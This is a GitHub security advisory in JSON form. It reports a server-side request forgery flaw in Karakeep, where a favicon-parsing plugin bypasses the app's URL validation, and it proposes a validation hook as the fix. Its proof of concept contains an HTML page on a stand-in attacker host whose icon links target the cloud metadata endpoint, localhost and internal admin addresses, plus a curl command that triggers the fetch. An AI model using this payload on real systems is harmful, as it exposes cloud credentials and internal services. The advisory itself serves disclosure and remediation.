{"id":"GHSA-7rx4-c5vx-g8w3","summary":"Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections","details":"## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `\u003clink rel=\"icon\"\u003e` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `\u003clink rel=\"icon\"\u003e` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n    gotOpts: {\n      agent: {\n        http: serverConfig.proxy.httpProxy\n          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n          : undefined,\n        https: serverConfig.proxy.httpsProxy\n          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n          : undefined,\n      },\n    },\n  }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark → URL validated by validateUrl() ✓\n2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses \u003clink rel=\"icon\"\u003e tags from HTML\n5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n\u003c!-- Hosted at https://attacker.example.com/ssrf.html --\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003eInnocent Page\u003c/title\u003e\n  \u003clink rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\"\u003e\n  \u003clink rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\"\u003e\n  \u003clink rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003cp\u003eNormal content\u003c/p\u003e\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n  -H \"Authorization: Bearer YOUR_API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}'\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+   beforeRequest: [\n+     async (options) =\u003e {\n+       const result = await validateUrl(options.url.toString(), false);\n+       if (!result.ok) {\n+         throw new Error(`SSRF blocked: ${result.reason}`);\n+       }\n+     }\n+   ]\n+ };\n+\n  metascraperLogo({\n      gotOpts: {\n+       hooks: ssrfHook,\n        agent: { ... },\n      },\n  }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).","modified":"2026-05-14T18:34:54.944207Z","published":"2026-05-14T18:26:02Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-14T18:26:02Z","nvd_published_at":null,"cwe_ids":["CWE-918"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/karakeep-app/karakeep/security/advisories/GHSA-7rx4-c5vx-g8w3"},{"type":"WEB","url":"https://github.com/karakeep-app/karakeep/pull/2763"},{"type":"WEB","url":"https://github.com/karakeep-app/karakeep/commit/3dc321e7d49aa3a1a2493637fb2ee21616fe5fd9"},{"type":"PACKAGE","url":"https://github.com/karakeep-app/karakeep"},{"type":"WEB","url":"https://github.com/karakeep-app/karakeep/releases/tag/v0.32.0"}],"affected":[{"package":{"name":"@karakeep/sdk","ecosystem":"npm","purl":"pkg:npm/%40karakeep/sdk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.32.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7rx4-c5vx-g8w3/GHSA-7rx4-c5vx-g8w3.json","last_known_affected_version_range":"\u003c= 0.31.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}